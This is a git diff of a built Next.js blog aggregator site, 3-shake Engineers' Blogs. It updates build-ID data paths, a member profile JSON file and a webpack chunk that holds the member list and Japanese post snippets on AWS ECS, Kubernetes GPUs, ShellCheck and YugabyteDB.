diff --git a/404.html b/404.html index 0aa961002b..0fb621099a 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ -404 not found | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
404

Page not found...

\ No newline at end of file +404 not found | 3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany
404

Page not found...

\ No newline at end of file diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/yuu0w0yuu.json b/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/yuu0w0yuu.json deleted file mode 100644 index a30f8c8412..0000000000 --- a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/yuu0w0yuu.json +++ /dev/null @@ -1 +0,0 @@ -{"pageProps":{"member":{"id":"yuu0w0yuu","name":"Yutaro Shirayama","role":"SRE","bio":"( ˘ω˘ )","avatarSrc":"/avatars/shirayama.jpg","sources":["https://zenn.dev/yuu0w0yuu/feed"],"includeUrlRegex":"","twitterUsername":"yuu0w0yuu","githubUsername":"yuu0w0yuu","websiteUrl":""},"postItems":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/SatohJohn.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/SatohJohn.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/SatohJohn.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/SatohJohn.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/Sreake.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/Sreake.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/Sreake.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/Sreake.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/abnoumaru.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/abnoumaru.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/abnoumaru.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/abnoumaru.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/atsuya0.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/atsuya0.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/atsuya0.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/atsuya0.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/bayobayo0324.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/bayobayo0324.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/bayobayo0324.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/bayobayo0324.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/bells17.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/bells17.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/bells17.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/bells17.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/d-murota.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/d-murota.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/d-murota.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/d-murota.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/genki-hashimoto.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/genki-hashimoto.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/genki-hashimoto.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/genki-hashimoto.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/hide-1.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/hide-1.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/hide-1.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/hide-1.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/hiroki-hasegawa.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/hiroki-hasegawa.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/hiroki-hasegawa.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/hiroki-hasegawa.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/ixsakra.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/ixsakra.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/ixsakra.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/ixsakra.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/jigyakkuma.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/jigyakkuma.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/jigyakkuma.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/jigyakkuma.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/kaisato.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/kaisato.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/kaisato.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/kaisato.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/kiyos.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/kiyos.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/kiyos.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/kiyos.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/kyohmizu.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/kyohmizu.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/kyohmizu.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/kyohmizu.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/masasuzu.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/masasuzu.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/masasuzu.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/masasuzu.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/mos914.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/mos914.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/mos914.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/mos914.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/myamamoto.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/myamamoto.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/myamamoto.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/myamamoto.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/nnaka2992.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/nnaka2992.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/nnaka2992.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/nnaka2992.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/nullzebra.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/nullzebra.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/nullzebra.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/nullzebra.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/nwiizo.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/nwiizo.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/nwiizo.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/nwiizo.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/raba-jp.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/raba-jp.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/raba-jp.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/raba-jp.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/sakama.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/sakama.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/sakama.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/sakama.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/satoken.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/satoken.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/satoken.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/satoken.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/seno.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/seno.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/seno.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/seno.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/skikkh.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/skikkh.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/skikkh.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/skikkh.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/sosan01.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/sosan01.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/sosan01.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/sosan01.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/tayakun.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/tayakun.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/tayakun.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/tayakun.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/tez.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/tez.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/tez.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/tez.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/toVersus.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/toVersus.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/toVersus.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/toVersus.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/toshikish.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/toshikish.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/toshikish.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/toshikish.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/tozastation.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/tozastation.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/tozastation.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/tozastation.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/unvavo.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/unvavo.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/unvavo.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/unvavo.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/yokoo-an209.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/yokoo-an209.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/yokoo-an209.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/yokoo-an209.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/ysakurai.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/ysakurai.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/ysakurai.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/ysakurai.json diff --git a/_next/data/37Ee5QGIxpaE3zT4z6-6S/members/yteraoka.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/yteraoka.json similarity index 100% rename from _next/data/37Ee5QGIxpaE3zT4z6-6S/members/yteraoka.json rename to _next/data/fvQ8SlcztKJy5Be3iJK0-/members/yteraoka.json diff --git a/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/yuu0w0yuu.json b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/yuu0w0yuu.json new file mode 100644 index 0000000000..a61c385e62 --- /dev/null +++ b/_next/data/fvQ8SlcztKJy5Be3iJK0-/members/yuu0w0yuu.json @@ -0,0 +1 @@ +{"pageProps":{"member":{"id":"yuu0w0yuu","name":"Yutaro Shirayama","role":"SRE","bio":"( ˘ω˘ )","avatarSrc":"/avatars/shirayama.jpg","sources":["https://zenn.dev/yuu0w0yuu/feed"],"includeUrlRegex":"","twitterUsername":"yuu0w0yuu","githubUsername":"yuu0w0yuu","websiteUrl":""},"postItems":[{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","contentSnippet":"きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか？デプロイを実行したが結果はどうだったか？デプロイが失敗したが原因は何か？などなど・・調べてみると、ECSはいくつかの種類のイベントをEventBridgeに送信しており、これをルールで拾って...","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/static/chunks/983-ae0c83488709e448.js b/_next/static/chunks/983-ae0c83488709e448.js new file mode 100644 index 0000000000..77be472553 --- /dev/null +++ b/_next/static/chunks/983-ae0c83488709e448.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,a){a.d(t,{T:function(){return o}});let o=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"Brogrammer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"abnoumaru",name:"Takaaki Abe",role:"SRE (Team Leader)",bio:"walker",avatarSrc:"/avatars/abnoumaru.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"abnoumaru",websiteUrl:"https://www.wantedly.com/id/abnoumaru"},{id:"genki-hashimoto",name:"Genki Hashimoto",role:"SRE",bio:"ongaku suki",avatarSrc:"/avatars/hashimoto.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"genki-hashimoto",websiteUrl:"https://www.wantedly.com/id/genki_hashimoto"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"Hiroki Hasegawa",role:"SRE",bio:"Let me know your favorite technology! ✌️",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"d-murota",name:"Daichi Murota",role:"SRE",bio:"d-murota",avatarSrc:"/avatars/d-murota.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"d-murota-w",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"jigyakkuma",name:"Shinji Yamada",role:"Corporate Engineer",bio:"Shonan life",avatarSrc:"/avatars/jigyakkuma.png",sources:["https://blog.jigyakkuma.org/index.xml"],includeUrlRegex:"",twitterUsername:"jigyakkuma_",githubUsername:"jigyakkuma",websiteUrl:"https://blog.jigyakkuma.org"},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"nullzebra",name:"Satoru Kikuta",role:"SRE",bio:"Lena is great to be able to ride Flanker.",avatarSrc:"/avatars/kikuta.jpeg",sources:["https://qiita.com/nullzebra/feed","https://zenn.dev/nullzebra/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"satoken",name:"satoken",role:"SRE",bio:"How do you like Wednesday?",avatarSrc:"/avatars/satoken.jpg",sources:["https://zenn.dev/satoken/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"yokoo-an209",name:"Annosuke Yokoo",role:"SRE",bio:"Buchiagemasu!",avatarSrc:"/avatars/yokoo.jpeg",sources:["https://qiita.com/yokoo-an209/feed"],includeUrlRegex:"",twitterUsername:"866mfs",githubUsername:"parupappa",websiteUrl:""},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""}].sort((e,t)=>e.id{let{path:t,title:a,description:r,ogImageUrl:n,noindex:c,removeSiteNameFromTitle:l}=e,p="".concat(s.v.siteRoot).concat(t||"");return(0,o.jsxs)(i(),{children:[(0,o.jsx)("title",{children:l?a:"".concat(a," | ").concat(s.v.siteMeta.title)}),(0,o.jsx)("meta",{property:"og:title",content:a}),(0,o.jsx)("meta",{property:"og:url",content:p}),(0,o.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,o.jsx)("meta",{property:"og:site",content:s.v.siteMeta.title}),(0,o.jsx)("meta",{property:"og:image",content:n||"".concat(s.v.siteRoot,"/og.png")}),!!r&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("meta",{name:"description",content:r}),(0,o.jsx)("meta",{property:"og:description",content:r})]}),t&&(0,o.jsx)("link",{rel:"canonical",href:p}),c&&(0,o.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,a){a.d(t,{ci:function(){return i},gO:function(){return s},gb:function(){return n},n4:function(){return r}});var o=a(1807);function r(e){return o.T.find(t=>t.id===e)}function i(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function s(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function n(e){return"/members/".concat(encodeURIComponent(e))}a(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","contentSnippet":"きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか？デプロイを実行したが結果はどうだったか？デプロイが失敗したが原因は何か？などなど・・調べてみると、ECSはいくつかの種類のイベントをEventBridgeに送信しており、これをルールで拾って...","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day9","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master 